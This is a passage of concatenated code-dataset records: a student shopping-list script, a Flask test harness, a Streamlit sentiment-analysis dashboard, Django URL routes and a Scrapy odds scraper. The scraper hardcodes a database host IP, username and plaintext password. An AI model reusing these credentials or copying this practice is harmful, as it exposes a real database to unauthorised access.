Add the input name to the new items lists\n new_items.append(str(input_price)) # Add the input price to the new items lists\n new_items.append(str(input_priority)) # Add the input priority to the new items lists\n new_items.append('r') # Add the 'r' to the new items lists as required item\n list_required_items.append(new_items) # Add the new item to the required list items\n list_items.append(new_items) # Add the new item to the list items\n print(MENU)\n\n elif user_input == \"M\":\n if len(list_required_items) == 0: # Display the prompt if there are no required items left\n print(\"No required items\")\n print(MENU)\n else:\n complete_an_item(list_items, list_completed_items, list_required_items) # Call the complete an\n # item function\n\n else: # Error-check for user input if they enter the value out of the menu's index\n print(\"Invalid menu choice\")\n print(MENU)\n user_input = input(\">>>\").upper().strip() # Get user input for menu and handle uppercase and lowercase letters\n\n # output_file = open(\"items.csv\", \"w\") # Open the file to overwrite the content inside\n # for each in list_items:\n # output_file.write(\"{},{},{},{}\\n\".format(each[0], each[1], each[2], each[3])) # Rewrite the items.csv file with\n # # the same format as the original data\n # output_file.close() # Close the file\n save_file(list_items)\n\n print(\"{} items saved to items.csv\".format(len(list_items))) # Print total amount of items saved to items.csv file\n print(\"Have a nice day :)\")\n\n\n#main()","sub_path":"assignment1.py","file_name":"assignment1.py","file_ext":"py","file_size_in_byte":13195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"625325817","text":"from data_index.models.dataset import Dataset\nfrom flask_testing import TestCase\nfrom ..encoder import JSONEncoder\nfrom flask import json\nimport connexion\nimport fake_elastic\nimport httpretty\nimport logging\n\n\nclass BaseTestCase(TestCase):\n INDEX_ADDR = 'http://localhost:123'\n\n def create_app(self):\n logging.getLogger('connexion.operation').setLevel('ERROR')\n app = connexion.App(__name__, specification_dir='../swagger/')\n app.app.json_encoder = JSONEncoder\n app.add_api('swagger.yaml')\n app.app.config.update({'INDEX_ADDR': BaseTestCase.INDEX_ADDR})\n return app.app\n\n def setUp(self):\n super(BaseTestCase, self).setUp()\n httpretty.enable()\n fake_elastic.register_httpretty(BaseTestCase.INDEX_ADDR,\n fake_elastic.FakeElastic())\n\n def tearDown(self):\n httpretty.disable()\n httpretty.reset()\n super(BaseTestCase, self).tearDown()\n\n def must_create_dataset(self, ds):\n resp = self.client.open(\n '/v1/datasets',\n method='POST',\n data=json.dumps(ds),\n content_type='application/json')\n self.assertStatus(resp, 200)\n\n def must_get_dataset(self, name, desc=None):\n resp = self.client.open('/v1/' + name, method='GET')\n self.assertStatus(resp, 200, desc)\n return Dataset.from_dict(resp.json)\n\n def assertStatus(self, response, want, desc=None):\n if not desc:\n desc = 'Response body is : ' + response.data.decode('utf-8')\n super(BaseTestCase, self).assertStatus(response, want, desc)\n","sub_path":"data_index/test/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"652806041","text":"import pandas as pd\r\nimport streamlit as st\r\nimport numpy as np\r\nimport pickle\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nfrom sklearn.feature_selection import chi2\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nimport plotly.express as px\r\nimport altair as alt\r\nimport base64\r\nimport sent_clean\r\nimport spacy\r\nfrom spacy.matcher import PhraseMatcher\r\nimport SessionState\r\nimport topwords_sent\r\n\r\n@st.cache(suppress_st_warning=True, persist=True, show_spinner=False, allow_output_mutation=True)\r\ndef read_file(filename_with_ext: str, sheet_name=0, *kwargs):\r\n ext = filename_with_ext.partition('.')[-1]\r\n if ext == 'xlsx':\r\n file = pd.read_excel(filename_with_ext, sheet_name=sheet_name, *kwargs)\r\n return file\r\n elif ext == 'csv':\r\n file = pd.read_csv(filename_with_ext, *kwargs)\r\n return file\r\n elif ext == 'sas7bdat':\r\n file = pd.read_sas(filename_with_ext, *kwargs)\r\n return file\r\n else:\r\n print('Cannot read file: Convert to .xlsx, .csv or .sas7bdat')\r\n\r\n@st.cache(suppress_st_warning=True, persist=True, show_spinner=False, allow_output_mutation=True)\r\ndef preprocess(df, content_col, cust_col):\r\n df = sent_clean.init_clean(df, col=content_col)\r\n #Converts to Sentence and fill with 'blank' those real blank cells\r\n df['sentence'] = df['init_cleaned'].map({'..':'blank', '...':'blank'}).fillna(df[content_col]).str.split('.')\r\n \t#replace comments with elipsis or .. with BLANK\r\n df['sentence'] = df['sentence'].fillna('blank')\r\n new_df = df.explode('sentence').dropna(subset=['sentence']).query(\"sentence!=''\").reset_index()\r\n\t\r\n\t#Shows tally\r\n st.markdown(f\"No. of Rows: {new_df['index'].nunique():,}\")\r\n st.markdown(f\"No. of Customers: {new_df[cust_col].nunique():,}\")\r\n st.markdown(f\"Rows w/o comments: {(new_df['sentence']=='blank').sum():,}\")\r\n sent_df = new_df[['sentence', 'index']]\r\n\r\n\t#Cleans text\r\n cleaned_df = sent_clean.final_clean(sent_df, col='sentence')\r\n return cleaned_df, new_df\r\n\r\ndef run_model(cleaned_df):\r\n\tmodel = pickle.load(open(r'.\\resources\\model12.pkl','rb'))\r\n\tfiltered = cleaned_df[['cleaned']].query(\"(cleaned!='')&(cleaned!='blank')\")['cleaned']\r\n\tdf = cleaned_df[['sentence', 'cleaned','index']]\\\r\n \t.merge(pd.DataFrame(model.predict(filtered),\r\n \t index=filtered.index)\\\r\n \t.rename(columns={0:'pred'}),\r\n \t\t\tright_index=True,\r\n \t\t\tleft_index=True,\r\n \t\t\thow='left')\r\n\treturn df\r\n\r\ndef sent_tally(out, cust_col):\r\n\t#total sentiment count\r\n\tsrc = pd.DataFrame(out['pred'].value_counts()).reset_index().rename(columns={'pred':'count', 'index':'sentiment'})\r\n\trow_sent = alt.Chart(src).mark_bar().encode(x=alt.X('sentiment', type='nominal', sort=None, axis=alt.Axis(labelAngle=360, title=\"\")),\r\n \ty=alt.Y('count', type='quantitative', axis=alt.Axis(title=\"Count\")),color=alt.Color('sentiment:N',scale=alt.Scale(domain=['Negative','Neutral', 'Positive'],range=['firebrick','gray', 'darkgreen'])),tooltip=['sentiment:N', 'count:Q'])\r\n\t#venn diagram of sentiment - customer level\r\n\tvenn = pd.DataFrame(out.fillna('None').groupby([cust_col,'pred'])['pred'].nunique()).unstack('pred').reset_index().fillna(0)\r\n\tvenn.columns = [venn.columns.values[0][0],venn.columns.values[1][1],venn.columns.values[2][1],venn.columns.values[3][1],venn.columns.values[4][1]]\r\n\tvenn['sum'] = venn[['Negative', 'Neutral', 'Positive']].sum(axis=1)\r\n\tvenn['sentiment'] = np.where((venn['sum']==1)&(venn['Negative']==1),'Negative', 'None')\r\n\tvenn['sentiment'] = np.where((venn['sum']==1)&(venn['Positive']==1),'Positive', venn['sentiment'])\r\n\tvenn['sentiment'] = np.where((venn['sum']==1)&(venn['Neutral']==1),'Neutral', venn['sentiment'])\r\n\tvenn['sentiment'] = np.where((venn['sum']>1), 'Mixed', venn['sentiment'])\r\n\tvenn1 = pd.DataFrame(venn['sentiment'].value_counts()).reset_index().rename(columns={'sentiment':'count', 'index':'sentiment'}).set_index('sentiment').reindex(['Negative','Mixed','Positive','Neutral','None']).reset_index().fillna(0)\r\n\tvenn1['Percent of Total'] = venn1['count'].divide(venn1['count'].sum())\r\n\tcust_sent = alt.Chart(venn1).mark_bar().encode(x=alt.X('sentiment', type='nominal', sort=None, axis=alt.Axis(labelAngle=360, title=\"\")),\r\n y=alt.Y('Percent of Total', type='quantitative', axis=alt.Axis(format='%')),tooltip=['sentiment:N', 'Percent of Total:Q', 'count:Q'])\r\n\tfig = cust_sent.properties(height=300, width=300, title='Sentiment by Customer') | row_sent.properties(height=300, width=300, title='All Sentiment')\r\n\tst.markdown(get_table_download_link(venn1, \"Sentiment by Customer table\"), unsafe_allow_html=True)\r\n\tst.markdown(get_table_download_link(src, \"All Sentiment table\"), unsafe_allow_html=True)\r\n\tnet_sent_score = (int(src.query(\"sentiment=='Positive'\")['count']) - int(src.query(\"sentiment=='Negative'\")['count'])) / int(src.query(\"sentiment!='Neutral'\")['count'].sum())\r\n\tst.markdown(f\"### Net Sentiment Score: {(net_sent_score*100):,.2f}%\")\r\n\treturn st.altair_chart(fig)\r\n\r\ndef relatedwords(out):\r\n\tout['category_id'] = out['pred'].fillna('Blank').factorize()[0]\r\n\tcategory_id_df = out[['pred', 'category_id']].fillna('Blank').drop_duplicates().sort_values('category_id')\r\n\tcategory_to_id = dict(category_id_df.values)\r\n\r\n\ttfidf = TfidfVectorizer(sublinear_tf=True,\r\n\t min_df=5,\r\n\t norm='l2',\r\n\t ngram_range=(1, 3),\r\n\t stop_words='english')\r\n\tfeatures = tfidf.fit_transform(out.cleaned).toarray()\r\n\tlabels = out.category_id\r\n\tcorr_dict1 = {}\r\n\r\n\tfor Sentiment, category_id in sorted(category_to_id.items()):\r\n\t if Sentiment != 'Blank':\r\n\t features_chi2 = chi2(features, labels == category_id)\r\n\t indices = np.argsort(features_chi2[0])[::-1]\r\n\t feature_names = np.array(tfidf.get_feature_names())[indices]\r\n\t #N-grams\r\n\t unigrams = [v for v in feature_names if len(v.split(' ')) == 1]\r\n\t uni_score = [score for v,score in zip(feature_names, features_chi2[0][indices]) if len(v.split(' ')) == 1]\r\n\t uni_pval = [pval for v,pval in zip(feature_names, features_chi2[1][indices]) if len(v.split(' ')) == 1]\r\n\t bigrams = [v for v in feature_names if len(v.split(' ')) == 2]\r\n\t bi_score = [score for v,score in zip(feature_names, features_chi2[0][indices]) if len(v.split(' ')) == 2]\r\n\t bi_pval = [pval for v,pval in zip(feature_names, features_chi2[1][indices]) if len(v.split(' ')) == 2]\r\n\t trigrams = [v for v in feature_names if len(v.split(' ')) == 3]\r\n\t tri_score = [score for v,score in zip(feature_names, features_chi2[0][indices]) if len(v.split(' ')) == 3]\r\n\t tri_pval = [pval for v,pval in zip(feature_names, features_chi2[1][indices]) if len(v.split(' ')) == 3]\r\n\t corr_dict1.update({f\"{Sentiment}_uni\":unigrams,f\"{Sentiment}_uni_score\":uni_score,f\"{Sentiment}_uni_pval\":uni_pval,\r\n\t f\"{Sentiment}_bi\":bigrams,f\"{Sentiment}_bi_score\":bi_score,f\"{Sentiment}_bi_pval\":bi_pval,\r\n\t f\"{Sentiment}_tri\":trigrams, f\"{Sentiment}_tri_score\":tri_score,f\"{Sentiment}_tri_pval\":tri_pval})\r\n\t\r\n\t#Count of Words\r\n\tcount_vectorizer = CountVectorizer(stop_words='english', ngram_range=(1,3))\r\n\tcount_data = count_vectorizer.fit_transform(out.cleaned)\r\n\tvector = pd.DataFrame(zip(count_vectorizer.get_feature_names(), count_data.sum(0).getA1()))\r\n\tvector.columns = ['word','count']\r\n\r\n\t#Plot\r\n\tngrams = ['uni', 'bi', 'tri']\r\n\tsents = ['Positive', 'Negative', 'Neutral']\r\n\tfor sent in sents:\r\n\t\tli = []\r\n\t\tfor ngram,name in zip(ngrams, ['Unigram', 'Bigram', 'Trigram']):\r\n\t\t\tcorr = pd.DataFrame({k:v for k,v in corr_dict1.items() if f'{sent}_{ngram}' in k})\r\n\t\t\tdf_ngram = corr[corr[f\"{sent}_{ngram}_pval\"]<0.05].head(30).merge(vector, left_on=f'{sent}_{ngram}' , right_on='word', how='left')\r\n\t\t\tbars = alt.Chart(df_ngram).mark_bar().encode(x=\"count:Q\",y=alt.Y('word', type='nominal', sort=None, axis=alt.Axis(title=\"\")),\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t tooltip=['word:N', 'count:Q'],\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t color=alt.condition(alt.datum[f'{sent}_{ngram}_pval']<0.001, alt.value('firebrick'), alt.value('grey')))\r\n\t\t\ttext = bars.mark_text(align='left', baseline='middle', dx=3).encode(text='count:Q')\r\n\t\t\tfig = (bars + text).properties(height=500, width=200, title=f\"{sent} {name}\")\r\n\t\t\tli.append(fig)\r\n\t\tfigs = li[0]|li[1]|li[2]\r\n\t\tst.altair_chart(figs)\r\n\r\ndef relatedwords1(out):\r\n\tout['category_id'] = out['pred'].fillna('Blank').factorize()[0]\r\n\tcategory_id_df = out[['pred', 'category_id']].fillna('Blank').drop_duplicates().sort_values('category_id')\r\n\tcategory_to_id = dict(category_id_df.values)\r\n\r\n\ttfidf = TfidfVectorizer(sublinear_tf=True,\r\n\t min_df=5,\r\n\t norm='l2',\r\n\t ngram_range=(1, 3),\r\n\t stop_words='english')\r\n\tfeatures = tfidf.fit_transform(out.cleaned).toarray()\r\n\tlabels = out.category_id\r\n\tcorr_dict = {}\r\n\tngram_list = [i for i in tfidf.get_feature_names()]\r\n\tfor Sentiment, category_id in sorted(category_to_id.items()):\r\n\t if Sentiment != 'Blank':\r\n\t features_chi2 = chi2(features, labels == category_id)\r\n\t indices = np.argsort(features_chi2[0])[::-1]\r\n\t feature_names = np.array(tfidf.get_feature_names())[indices]\r\n\t #N-grams\r\n\t unigrams = [v for v in feature_names]\r\n\t uni_score = [score for v,score in zip(feature_names, features_chi2[0][indices])]\r\n\t uni_pval = [pval for v,pval in zip(feature_names, features_chi2[1][indices])]\r\n\t corr_dict.update({f\"{Sentiment}_sent\":unigrams,f\"{Sentiment}_score\":uni_score,f\"{Sentiment}_pval\":uni_pval})\r\n \r\n\t#Count of Words\r\n\tcount_vectorizer = CountVectorizer(stop_words='english', ngram_range=(1,3))\r\n\tcount_data = count_vectorizer.fit_transform(out.cleaned)\r\n\tvector = pd.DataFrame(zip(count_vectorizer.get_feature_names(), count_data.sum(0).getA1()))\r\n\tvector.columns = ['word','count']\r\n\t#Plot\r\n\tsents = ['Positive', 'Negative', 'Neutral']\r\n\tli = []\r\n\tfor sent in sents:\r\n\t\tcorr = pd.DataFrame({k:v for k,v in corr_dict.items() if sent in k})\r\n\t\tdf_ngram = corr[corr[f\"{sent}_pval\"]<0.05].head(30).merge(vector, left_on=f'{sent}_sent' , right_on='word', how='left')\r\n\t\tbars = alt.Chart(df_ngram).mark_bar().encode(x=\"count:Q\",y=alt.Y('word', type='nominal', sort=None, axis=alt.Axis(title=\"\")),\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t tooltip=['word:N', 'count:Q'],\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t color=alt.condition(alt.datum[f'{sent}_pval']<0.001, alt.value('firebrick'), alt.value('grey')))\r\n\t\ttext = bars.mark_text(align='left', baseline='middle', dx=3).encode(text='count:Q')\r\n\t\tfig = (bars + text).properties(height=500, width=200, title=f\"{sent}\")\r\n\t\tli.append(fig)\r\n\tfigs = li[0]|li[1]|li[2]\r\n\tst.altair_chart(figs)\r\n\treturn ngram_list\r\n\r\ndef get_table_download_link(df, name):\r\n \"\"\"Generates a link allowing the data in a given panda dataframe to be downloaded\r\n in: dataframe\r\n out: href string\r\n \"\"\"\r\n csv = df.to_csv(index=False)\r\n b64 = base64.b64encode(csv.encode()).decode() # some strings <-> bytes conversions necessary here\r\n # href = f'Download csv file'\r\n href = f'Download {name}'\r\n return href\r\n\r\ndef word_viewer(data, words, content_col, cust_col):\r\n total_pop = data[cust_col].nunique()\r\n df_viewed = data[data[\"sentence\"].str.contains(words, na=False, case=False, regex=False)][[cust_col ,content_col, 'pred']].drop_duplicates().reset_index(drop=True)\r\n curr_pop = df_viewed[cust_col].nunique()\r\n st.markdown(get_table_download_link(df_viewed, \"search results\"), unsafe_allow_html=True)\r\n st.markdown(f\"There are {curr_pop:,}/{total_pop:,} respondents found.\")\r\n return st.table(df_viewed)\r\n\r\n@st.cache(suppress_st_warning=True, persist=True, show_spinner=False, allow_output_mutation=True)\r\ndef get_channels(df, channels):\r\n\tnlp = spacy.load(\"en_core_web_sm\")\r\n #Patter Matcher\r\n\tdef on_match(matcher, doc, id, matches):\r\n\t\treturn [nlp.vocab.strings[match_id] for match_id,start, end in matches]\r\n\tmatcher = PhraseMatcher(nlp.vocab, attr='LOWER')\r\n\tfor k,v in channels.items():\r\n\t for item in [word.strip() for sentence in v for word in sentence.split(',')]:\r\n\t matcher.add(str(k), on_match, nlp(str(item)))\r\n\t\r\n\tdf['channel'] = df['sentence'].str.lower().map(lambda text: [nlp.vocab.strings[match_id[0]] for match_id in matcher(nlp(text))])\r\n\tfor i in [j for j in channels.keys()]:\r\n\t\tdf[i] = df['channel'].map(lambda x: 1 if str(i) in x else 0)\r\n\treturn df\r\n\r\ndef plot_channels(df,channels,cust_col):\r\n\tchannel_list = [j for j in channels.keys()]\r\n\ta = df.groupby([cust_col, 'pred'])[channel_list].sum().clip(0,1).groupby('pred')[channel_list].sum().reindex(['Neutral', 'Positive', 'Negative'])\r\n\tb = a.unstack().reset_index().rename(columns={'level_0':'Channel', 0:'count'})\r\n\tc = (a.divide(a.sum())*100).unstack().reset_index().rename(columns={'level_0':'Channel', 0:'percent'})\r\n\tsource = b.merge(c, on=['Channel', 'pred'])\r\n\tst.markdown(get_table_download_link(source, \"channels table\"), unsafe_allow_html=True)\r\n\tbars = alt.Chart(source).mark_bar().encode(\r\n\t x=alt.X('count:Q', stack='zero', axis=alt.Axis(title=\"Count\")),\r\n\t y=alt.Y('Channel:N', sort='-x', axis=alt.Axis(title=\"\")),\r\n\t tooltip=['count:Q', 'Channel:N', 'pred:N', 'percent:Q'],\r\n\t color=alt.Color('pred',scale=alt.Scale(domain=['Negative','Neutral', 'Positive'],range=['firebrick','gray', 'darkgreen']), legend=alt.Legend(title=\"Sentiment\"))\r\n\t)\r\n \r\n\ttext = alt.Chart(source).mark_text(dx=15, dy=0, color='black').encode(\r\n\t x=alt.X('sum(count):Q', stack='zero', axis=alt.Axis(title=\"Count\")),\r\n\t y=alt.Y('Channel:N', sort='-x', axis=alt.Axis(title=\"\")),\r\n\t detail='Channel:N',\r\n\t text=alt.Text('sum(count):Q', format=',.0f')\r\n\t)\r\n\tfig = (bars + text).properties(title='By Channel')\r\n\treturn st.altair_chart(fig)\r\n\r\n@st.cache(suppress_st_warning=True, persist=True, show_spinner=False, allow_output_mutation=True)\r\ndef get_topics(df, topics):\r\n\tnlp = spacy.load(\"en_core_web_sm\")\r\n #Patter Matcher\r\n\tdef on_match(matcher, doc, id, matches):\r\n\t\treturn [nlp.vocab.strings[match_id] for match_id,start, end in matches]\r\n\tmatcher = PhraseMatcher(nlp.vocab, attr='LOWER')\r\n\tfor k,v in topics.items():\r\n\t for item in [word.strip() for sentence in v for word in sentence.split(',')]:\r\n\t matcher.add(str(k), on_match, nlp(str(item)))\r\n\tdf['topics'] = df['sentence'].str.lower().map(lambda text: [nlp.vocab.strings[match_id[0]] for match_id in matcher(nlp(text))]).apply(lambda y: [str('Others')] if len(y)==2 else y)\r\n\tdf['topics'] = np.where(df['sentence']=='blank', [str('No Feedback')], df['topics'])\r\n\tdf['pred'] = np.where(df['topics']=='No Feedback', 'Neutral', df['pred'])\r\n\tfor i in [j for j in topics.keys()] + ['Others', 'No Feedback']:\r\n\t\tdf[i] = df['topics'].map(lambda x: 1 if str(i) in x else 0)\r\n\treturn df\r\n\r\n\r\ndef plot_topics(df, topics, cust_col):\r\n topic_list = [j for j in topics.keys()] + ['Others', 'No Feedback']\r\n a = df.groupby([cust_col, 'pred'])[topic_list].sum().clip(0,1).groupby('pred')[topic_list].sum().reindex(['Neutral', 'Positive', 'Negative'])\r\n b = a.unstack().reset_index().rename(columns={'level_0':'Topic', 0:'count'})\r\n c = (a.divide(a.sum())*100).unstack().reset_index().rename(columns={'level_0':'Topic', 0:'percent'})\r\n source = b.merge(c, on=['Topic', 'pred']).query(\"count>1\")\r\n st.markdown(get_table_download_link(source, \"topics table\"), unsafe_allow_html=True)\r\n bars = alt.Chart(source).mark_bar().encode(\r\n\t x=alt.X('count:Q', stack='zero', axis=alt.Axis(title=\"Count\")),\r\n\t y=alt.Y('Topic:N', sort='-x', axis=alt.Axis(title=\"\")),\r\n\t tooltip=['count:Q', 'Topic:N', 'pred:N', 'percent:Q'],\r\n\t color=alt.Color('pred',scale=alt.Scale(domain=['Negative','Neutral', 'Positive'],range=['firebrick','gray', 'darkgreen']),legend=alt.Legend(title=\"Sentiment\"))\r\n\t)\r\n text = alt.Chart(source).mark_text(dx=15, dy=0, color='black').encode(\r\n\t x=alt.X('sum(count):Q', stack='zero', axis=alt.Axis(title=\"Count\")),\r\n\t y=alt.Y('Topic:N', sort='-x', axis=alt.Axis(title=\"\")),\r\n\t detail='Topic:N',\r\n\t text=alt.Text('sum(count):Q', format=',.0f')\r\n\t)\r\n fig = (bars + text).properties(title='By Topic', height=300, width=600)\r\n return st.altair_chart(fig)\r\n\r\n@st.cache(suppress_st_warning=True, persist=True, show_spinner=False, allow_output_mutation=True)\r\ndef get_products(df, products):\r\n\tnlp = spacy.load(\"en_core_web_sm\")\r\n #Patter Matcher\r\n\tdef on_match(matcher, doc, id, matches):\r\n\t\treturn [nlp.vocab.strings[match_id] for match_id,start, end in matches]\r\n\tmatcher = PhraseMatcher(nlp.vocab, attr='LOWER')\r\n\tfor k,v in products.items():\r\n\t for item in [word.strip() for sentence in v for word in sentence.split(',')]:\r\n\t matcher.add(str(k), on_match, nlp(str(item)))\r\n\t\r\n\tdf['products'] = df['sentence'].str.lower().map(lambda text: [nlp.vocab.strings[match_id[0]] for match_id in matcher(nlp(text))])\r\n\tfor i in [j for j in products.keys()]:\r\n\t\tdf[i] = df['products'].map(lambda x: 1 if str(i) in x else 0)\r\n\treturn df\r\n\r\ndef plot_products(df, products, cust_col):\r\n prod_list = [j for j in products.keys()]\r\n a = df.groupby([cust_col, 'pred'])[prod_list].sum().clip(0,1).groupby('pred')[prod_list].sum().reindex(['Neutral', 'Positive', 'Negative'])\r\n b = a.unstack().reset_index().rename(columns={'level_0':'Product', 0:'count'})\r\n c = (a.divide(a.sum())*100).unstack().reset_index().rename(columns={'level_0':'Product', 0:'percent'})\r\n source = b.merge(c, on=['Product', 'pred'])\r\n st.markdown(get_table_download_link(source, \"products table\"), unsafe_allow_html=True)\r\n bars = alt.Chart(source).mark_bar().encode(\r\n\t x=alt.X('count:Q', stack='zero', axis=alt.Axis(title=\"Count\")),\r\n\t y=alt.Y('Product:N', sort='-x', axis=alt.Axis(title=\"\")),\r\n\t tooltip=['count:Q', 'Product:N', 'pred:N', 'percent:Q'],\r\n\t color=alt.Color('pred',scale=alt.Scale(domain=['Negative','Neutral', 'Positive'],range=['firebrick','gray', 'darkgreen']), legend=alt.Legend(title=\"Sentiment\"))\r\n\t)\r\n \r\n text = alt.Chart(source).mark_text(dx=15, dy=0, color='black').encode(\r\n\t x=alt.X('sum(count):Q', stack='zero', axis=alt.Axis(title=\"Count\")),\r\n\t y=alt.Y('Product:N', sort='-x', axis=alt.Axis(title=\"\")),\r\n\t detail='Product:N',\r\n\t text=alt.Text('sum(count):Q', format=',.0f')\r\n\t)\r\n fig = (bars + text).properties(title='By Product')\r\n return st.altair_chart(fig)\r\n \r\ndef read_keywords():\r\n keywords = pd.read_excel(r'.\\resources\\Keywords.xlsx')\r\n channels = keywords.query(\"channel_tag==1\")[['Topic','Keywords']].set_index('Topic').T.to_dict('list')\r\n topics = keywords.query(\"topic_tag==1\")[['Topic','Keywords']].set_index('Topic').T.to_dict('list')\r\n products = keywords.query(\"product_tag==1\")[['Topic','Keywords']].set_index('Topic').T.to_dict('list')\r\n return channels, topics, products\r\n\r\ndef get_topwords(data, content_col, columns):\r\n for items in columns.keys():\r\n try:\r\n cond1 = data[items]==1\r\n cond2 = ~data[content_col].str.lower().str.contains('|'.join([i for i in [items.lower()[:-1],items.lower()+'ing',items.lower()+'s',items.lower()]]))\r\n topw = topwords_sent.main(data[cond1&cond2], content_col)\r\n st.markdown(items)\r\n st.dataframe(topw)\r\n except:\r\n pass\r\n \r\n\r\ndef load_sentiment_page(df):\r\n st.header(\"🌡️ Sentiment\")\r\n st.markdown(\"* This feature allows you to extract the sentiment of customers in the selected text column.\")\r\n columns = [col for col in df.columns]\r\n \r\n content_col = st.sidebar.radio(\"Select Text Column\", (columns))\r\n cust_col = st.sidebar.radio(\"Select Customer ID Column\", (columns), index=1)\r\n segment_col = st.sidebar.radio(\"Select Segment/category Column\", (columns), index=2)\r\n segment_val = st.selectbox(\"Which segment/category would you like to view?\", tuple(['View All'] + df[segment_col].dropna().unique().tolist()))\r\n score_col = st.sidebar.radio(\"Select Score Column\", (columns), index=3)\r\n\r\n session_state = SessionState.get(checkboxed=False)\r\n if st.sidebar.button(\"Confirm\") or session_state.checkboxed:\r\n session_state.checkboxed = True\r\n pass\r\n else:\r\n st.stop() \r\n \r\n # st.markdown(\"Preprocessing DataFrame\")\r\n cleaned_df, new_df = preprocess(df, content_col, cust_col)\r\n pred_df = run_model(cleaned_df)\r\n out = pred_df.drop(columns=['sentence']).merge(new_df, how='right', on='index', copy=False).drop_duplicates(subset=[cust_col,'sentence'])\r\n\r\n #Run Dashboard =====\r\n if segment_val!='View All':\r\n segdf = out[out[segment_col]==segment_val]\r\n else:\r\n segdf = out.copy() \r\n\r\n st.info(f\"There are {segdf[cust_col].nunique():,} respondents and {segdf['index'].nunique():,} rows\")\r\n #Sentiment\r\n sent_tally(segdf, cust_col)\r\n channels, topics, products = read_keywords()\r\n ch_df = get_channels(segdf, channels)\r\n prod_df = get_products(ch_df, products)\r\n top_df = get_topics(prod_df, topics)\r\n col1, col2 = st.beta_columns(2)\r\n #Channels\r\n with col1:\r\n plot_channels(ch_df, channels, cust_col)\r\n with st.beta_expander(\"- Browse topwords\"):\r\n get_topwords(ch_df, content_col, channels)\r\n #Products\r\n with col2:\r\n plot_products(prod_df, products, cust_col)\r\n with st.beta_expander(\"- Browse topwords\"):\r\n get_topwords(prod_df, content_col, products)\r\n\r\n #Topics\r\n plot_topics(top_df, topics, cust_col)\r\n with st.beta_expander(\"- Browse topwords\"):\r\n get_topwords(top_df, content_col, topics)\r\n\r\n #Browse\r\n with st.beta_expander(\"- Browse responses\"):\r\n col1, col2 = st.beta_columns(2)\r\n ref = {\"Channel\":channels, \"Product\":products, \"Topics\":topics}\r\n with col1:\r\n cat = st.selectbox(\"Category:\", tuple(ref.keys()))\r\n with col2:\r\n cat_val = st.selectbox(\"Subcategory:\", tuple([k.strip() for v in ref[cat] for k in v.split(',')]))\r\n st.table(top_df[top_df[cat_val]==1][[cust_col, content_col, 'pred', cat_val]])\r\n \r\n #Related Words\r\n st.subheader(\"Related Words to Sentiment\")\r\n st.markdown(\"This section shows the words related to the sentiments (in order) and their corresponding number of occurences\")\r\n ngram_list = relatedwords1(segdf)\r\n with st.beta_expander(\"- See Ngram breakdown\"):\r\n \trelatedwords(segdf)\r\n \r\n #Download entire table\r\n st.markdown(get_table_download_link(top_df, \"results\"), unsafe_allow_html=True)\r\n \r\n #Word Viewer\r\n st.subheader(\"Word Viewer\")\r\n words = st.text_input(\"Search content with the following words: \")\r\n if len(words)>0:\r\n word_viewer(top_df, str(words).lower(), content_col, cust_col)","sub_path":"resources/sentiment.py","file_name":"sentiment.py","file_ext":"py","file_size_in_byte":22965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"564351377","text":"from django.conf.urls.defaults import *\r\nfrom django.conf import settings\r\n\r\n# Uncomment the next two lines to enable the admin:\r\nfrom django.contrib import admin\r\nadmin.autodiscover()\r\n\r\nfrom blog.models import Artigo\r\nfrom blog.feeds import UltimosArtigos\r\n\r\nurlpatterns = patterns('',\r\n # Example:\r\n # (r'^meu_blog/', include('meu_blog.foo.urls')),\r\n\r\n # Uncomment the admin/doc line below and add 'django.contrib.admindocs' \r\n # to INSTALLED_APPS to enable admin documentation:\r\n # (r'^admin/doc/', include('django.contrib.admindocs.urls')),\r\n\r\n # Uncomment the next line to enable the admin:\r\n\t(r'^$', 'django.views.generic.date_based.archive_index',\r\n\t\t{'queryset': Artigo.objects.all(),\r\n\t\t 'date_field': 'publicacao'}),\r\n\t(r'^admin/(.*)', admin.site.root),\r\n\r\n\t(r'^rss/(?P.*)/$', 'django.contrib.syndication.views.feed',\r\n\t\t{'feed_dict': {'ultimos': UltimosArtigos}}),\r\n\r\n\t(r'^artigo/(?P\\d+)/$', 'blog.views.artigo'),\r\n\r\n\t(r'^contato/$', 'views.contato'),\r\n\r\n\t(r'^comments/', include('django.contrib.comments.urls')),\r\n)\r\n\r\nif settings.LOCAL:\r\n\turlpatterns += patterns('',\r\n\t\t(r'^media/(.*)$', 'django.views.static.serve',\r\n\t\t\t{'document_root': settings.MEDIA_ROOT}),\r\n\t)\r\n","sub_path":"meu_blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"626673643","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom pymysql import connect\nimport json\nfrom oupan.items import OupanItem\n\nclass OuSpider(scrapy.Spider):\n name = 'ou'\n allowed_domains = ['sporttery.cn']\n\n def start_requests(self):\n db = connect(host='39.106.18.39', port=3306, user='caixiaomi', password='cxmtest', database='cxm_lottery',\n charset='utf8')\n cur = db.cursor()\n #cur.execute('select changci_id from dl_match where DATEDIFF(show_time,NOW()) >= 0 and is_del = 0 and is_show=1 and TIMESTAMPDIFF(MINUTE, match_time, NOW()) < 10')\n cur.execute(\"select changci_id from dl_match where match_time like '2018-08-01%';\")\n changci_ids = cur.fetchall()\n cur.close()\n db.close()\n for i in changci_ids:\n id = i[0]\n url = 'http://i.sporttery.cn/api/fb_match_info/get_europe/?f_callback=hb_odds&mid=' + str(id)\n yield scrapy.Request(url=url, meta={'id': id})\n def parse(self, response):\n res_data = response.body.decode()\n dict_data = json.loads(res_data[8:-2])\n data = dict_data['result']['data']\n for j in data:\n item = OupanItem()\n item['changci_id'] = response.meta['id']\n if j['win_change'] == 'up':\n j['win_change'] = 1\n elif j['win_change'] == 'down':\n j['win_change'] = 2\n else:\n j['win_change'] = 